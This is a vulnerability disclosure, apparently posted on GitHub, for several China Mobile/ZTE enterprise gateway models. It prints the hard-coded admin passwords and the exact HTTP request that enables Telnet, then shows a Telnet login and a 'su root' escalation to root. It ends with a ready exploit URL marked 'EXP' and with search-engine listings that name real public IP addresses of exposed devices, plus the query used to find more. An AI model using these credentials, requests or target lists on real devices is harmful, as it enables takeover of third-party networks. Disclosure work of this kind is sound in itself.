

Vulnerability-report / Unauthorized access to execute the telnet command.md

 **Fizz-L** Update Unauthorized access to execute the telnet command.md

bb632ed · 2 weeks ago

...

86 lines (42 loc) · 3.71 KB

[Preview](#) [Code](#) [Blame](#)

[Raw](#)   

Affected version

China Mobile Enterprise Gateway

P22g-CIac Enterprise Gateway

ZXWT-MIG-P4G4V Enterprise Gateway

ZXWT-MIG-P8G8V Enterprise Gateway

GT3200-4G4P Enterprise Gateway

GT3200-8G8P Enterprise Gateway

Vulnerability details

Among the affected enterprise gateway devices, attackers can enable the **Telnet service on the LAN side** without authorization. Moreover, if attackers log in to the devices using the default weak passwords, they can also utilize an **effective Token** to enable the **Telnet service on the WAN side**. Due to the existence of **hard-coded credentials** for the Telnet service's authentication, attackers can escalate their privileges to root by using the **su command** after connecting to Telnet (the default password for the Telnet account is the default one), and the root password is also hard-coded. This vulnerability enables attackers to fully control the affected gateway devices, thereby endangering the overall network security.

The impact of the vulnerability

- **Unauthorized Access:** Attackers can enable Telnet on the LAN side without authentication, thereby increasing the attack surface.

- **WAN Side Exploitation:** Logged-in users can remotely enable Telnet on the WAN side using valid Tokens, thereby expanding the scope of impact.
- **Hardcoded Credentials:** There are hardcoded account passwords and default Telnet credentials for Telnet on the device, making it easy for attackers to log in to the device.
- **Privilege Escalation:** Successful login

Hard-coded file, telnet.gch

```
log_gch("*****usr="+usr+" psw="+psw+" cmd="+cmd);
switch(usr){
case "CMCCAdmin":
case userAdmin:
log_gch("*****usr="+usr+" psw="+psw+" cmd="+cmd);
if((psw != "aDm8H%MdA" && psw != passAdmin)){
flag = -1;
}
break;
case userUser:
if(psw != passUser){
flag = -1;
}
break;
default:
flag = -1;
}
if(flag == 0){
var FP_HANDLE = create_paralist();
set_para(FP_HANDLE, "TS_Enable",cmd);
set_para(FP_HANDLE, "Wan_Enable",0);
set_para(FP_HANDLE, "Lan_Enable",cmd);
set_inst(FP_HANDLE, "OBJ_TSERVER_CONF_ID", "IGD.AU1");
undoDBSave();
}
```

1 Vulnerability verification

The P22g-CIac model is hardcoded as admin Xq9^kF36@s7

Pretty	Haw	Hex	Render
1 GET /usr=admin&psw=Xq9%5EkF36@s7&cmd=1&telnet.gch HTTP/1.1			
2 Host: 192.168.1.1			
3 Upgrade-Insecure-Requests: 1			
4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36			
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7			
6 Accept-Encoding: gzip, deflate, br			
7 Accept-Language: zh-CN,zh;q=0.9			
8 Connection: keep-alive			
9			
10			
11			
12			
13			
14 <HTML>			
15 <HEAD><TITLE>TelnetSet</TITLE></HEAD>			
16 <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc">			
17 <H2>TelnetSet Success!</H2>			
18 </BODY>			
19 </HTML>			
20			
21			
22			

The remaining models of equipment are hardcoded as CMCCAdmin aDm8H%MdA

Request

Pretty Raw Hex

```
1 GET /usr=rCMCCAdmin&psw=aDm8%MdA&cmd=0&telnet.gch HTTP/1.1
2 Host: 10.10.10.1
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
4 Chrome/133.0.0.0 Safari/537.36
5 Accept: */*,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
6 Referer: http://111.39.133.97:8081/css/ulogin.css
7 Accept-Encoding: gzip, deflate, br
8 Accept-Language: zh-CN,zh;q=0.9
9 Connection: keep-alive
10
11
12
13
14
15
16 <HTML>
17   <HEAD>
18     <TITLE>
19       TelnetSet
20     </TITLE>
21   </HEAD>
22   <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc">
23     <H2>
24       TelnetSet Success!
25     </H2>
26   </BODY>
27 </HTML>
28
29
30
31
32
33
34
```

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Server: Mini web server 1.0 ZTE corp 2005.
3 Accept-Ranges: bytes
4 Connection: close
5 Content-Type: text/html; charset=utf-8
6 Content-Encoding: gzip
7 Content-Security-Policy: frame-ancestors 'self'
8 Cache-Control: no-cache,no-store
9 Content-Length: 167
10
11
12
13
14
15
16 <HTML>
17   <HEAD>
18     <TITLE>
19       TelnetSet
20     </TITLE>
21   </HEAD>
22   <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc">
23     <H2>
24       TelnetSet Success!
25     </H2>
26   </BODY>
27 </HTML>
28
29
30
31
32
33
34
```

Vulnerability verification: Here, we take GT3200-8G8P as an example. First, let's check the status of port 23. It is currently in a closed state.

```
> nmap -v 10.10.10.1 -p 23
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-05 19:17 CST
Initiating Ping Scan at 19:17
Scanning 10.10.10.1 [2 ports]
Completed Ping Scan at 19:17, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:17
Completed Parallel DNS resolution of 1 host. at 19:17, 13.00s elapsed
Initiating Connect Scan at 19:17
Scanning 10.10.10.1 [1 port]
Completed Connect Scan at 19:17, 0.10s elapsed (1 total ports)
Nmap scan report for 10.10.10.1
Host is up (0.014s latency).

PORT      STATE SERVICE
23/tcp    closed telnet

Read data files from: /opt/homebrew/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.12 seconds
```

<http://10.10.10.1/usr=CMCCAdmin&psw=aDm8H%MdA&cmd=1&telnet.qch>

The command parameter of 0 indicates that Telnet is turned off, while a parameter of 1 means it is enabled.

TelnetSet Success!

Upon re-checking, telnet is enabled.

```
> nmap -v 10.10.10.1 -p 23
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-05 19:16 CST
Initiating Ping Scan at 19:16
Scanning 10.10.10.1 [2 ports]
Completed Ping Scan at 19:16, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:16
Completed Parallel DNS resolution of 1 host. at 19:17, 13.01s elapsed
Initiating Connect Scan at 19:17
Scanning 10.10.10.1 [1 port]
Discovered open port 23/tcp on 10.10.10.1
Completed Connect Scan at 19:17, 0.00s elapsed (1 total ports)
Nmap scan report for 10.10.10.1
Host is up (0.0022s latency).

PORT      STATE SERVICE
23/tcp    open  telnet
```

Here we log in using the default telnet account and password.

```
'> telnet 10.10.10.1
Trying 10.10.10.1...
Connected to 10.10.10.1.
Escape character is '^]'.
Login: CMCCAdmin
Password: ~~~~~
~ $ whoami
csp
~ $ su root
Password: ~~~~~
root
/ # whoami
root
/ # ls
GN25L95_datas  dev          home        lib          opt          run          sys          tmp          var
bin            etc          init        linuxrc     proc         sbin        tagparam   userconfig
db_excp        ffe_entry_clear  kmodule   mnt         root        scripts    temp        usr          webpages
/ #
```

CMCCAdmin aDm8H%MdA

显示一年内数据, 点击 all 查看所有。

3,590 条匹配结果 (3,312 条独立IP), 2357 ms , 关键词搜索。

网站指纹排名

I9+flk...	945
xsHTln...	656
McjWJ...	412
IFGan...	388
NHnk...	325

国家/地区排名

» 中国 🇨🇳	1,880
» 巴西 🇧🇷	830
» 伊拉克 🇮🇶	654
» 阿塞拜疆 🇦🇿	48
» 美国 🇺🇸	25

120.210.44.248:8081 ↗ xsHT... 668 8081

GT3200-8G8P
120.210.44.248
中国 / 安徽省 / Lu'an
ASN: 9808
组织: China Mobile Communications ...
2025-03-05
Mini web server 1.0 ZTE corp 2005.

Header Products 21464...

HTTP/1.1 200 OK
Connection: close
Content-Length: 8887
Accept-Ranges: bytes
Cache-Control: no-cache,no-store
Content-Security-Policy: frame-ancestors 'self'
Content-Type: text/html; charset=utf-8
Server: Mini web server 1.0 ZTE corp 2005.
X-Frame-Options: SAMEORIGIN

112.28.99.57:8088 ↗ xsHT... 668 8088 21464...

GT3200-4G4P
112.28.99.57
中国 / 安徽省 / Tongling
ASN: 9808

Header Products 21464...

HTTP/1.1 200 OK



Successfully logged in, and even after su root, the password is also hardcoded. Successfully obtained the highest privilege. The number of public network assets is approximately 3,000+.

3,590 条匹配结果 (3,312 条独立IP), 2357 ms, 关键词搜索。
显示一年内数据, 点击 all 查看所有。

网站指纹排名	
I9+flk...	945
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» 中国 🇨🇳	1,880
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» 伊拉克 🇮🇶	654
» 阿塞拜疆 🇦🇿	48
» 美国 🇺🇸	25



120.210.44.248:8081 668

GT3200-8G8P
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```
HTTP/1.1 200 OK
Connection: close
Content-Length: 8887
Accept-Ranges: bytes
Cache-Control: no-cache,no-store
Content-Security-Policy: frame-ancestors 'self'
Content-Type: text/html; charset=utf-8
Server: Mini web server 1.0 ZTE corp 2005.
X-Frame-Options: SAMEORIGIN
```

112.28.99.57:8088 668

GT3200-4G4P
112.28.99.57
中国 / 安徽省 / Tongling
ASN: 9808

Header Products 21464...

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Apache/2.4.41 (Ubuntu)
X-Frame-Options: SAMEORIGIN
```

已将 title="GT3200-8G8P" 替换为 web.title="GT3200-8G8P" 并进行搜索

独立IP数	570	最近一个月	全部资产	全部资产标签	+ 11	全部IP标签	+ 3	① 数据去重	② 否	表头设置	API	数据导出	
资产总数	896	ip.country=="中国" 清空所有条件											
国家	中国	1025	896	序号	IP	域名	端口/服务	站点标题	状态码	ICP备案企业	应用/组件	资产标签	操作
端口排行	8117	223	8081	1	47.122.5.165	47.122.5.165	21285 https	GT3200-8G8P	200	-	-	-	资产详情
	60443	35	8088	2	111.39.47.144	111.39.47.144	8090 http	GT3200-8G8P	200	-	-	-	资产详情
	8090	17	8443	3	111.38.75.19	111.38.75.19	8117 http	GT3200-8G8P	200	-	-	-	资产详情
	7140	12	7140	4	111.39.133.211	111.39.133.211	8081 http	GT3200-8G8P	200	-	-	-	资产详情
	8001	3	8001	5	111.39.134.64	111.39.134.64	8117 http	GT3200-8G8P	200	-	-	-	资产详情
	8118	3	8118	6	47.92.143.92 (云厂商)	47.92.143.92	8435 https	GT3200-8G8P	200	-	-	-	资产详情
	457	2	457	7	122.9.131.161 (疑似蜜罐)	122.9.131.161	9997 https	GT3200-8G8P	200	-	-	-	资产详情
组件排行	>			8	112.28.97.63	112.28.97.63	8088 http	GT3200-8G8P	200	-	-	-	资产详情
				9	120.209.228.197	120.209.228.197	8117 http	GT3200-8G8P	200	-	-	-	资产详情
				10	112.26.95.143	112.26.95.143	8117 http	GT3200-8G8P	200	-	-	-	资产详情

Search syntax: title="GT3200-8G8P"

4 EXP

<http://10.10.10.1/usr=CMCCAdmin&psw=aDm8H%MdA&cmd=1&telnet.gch>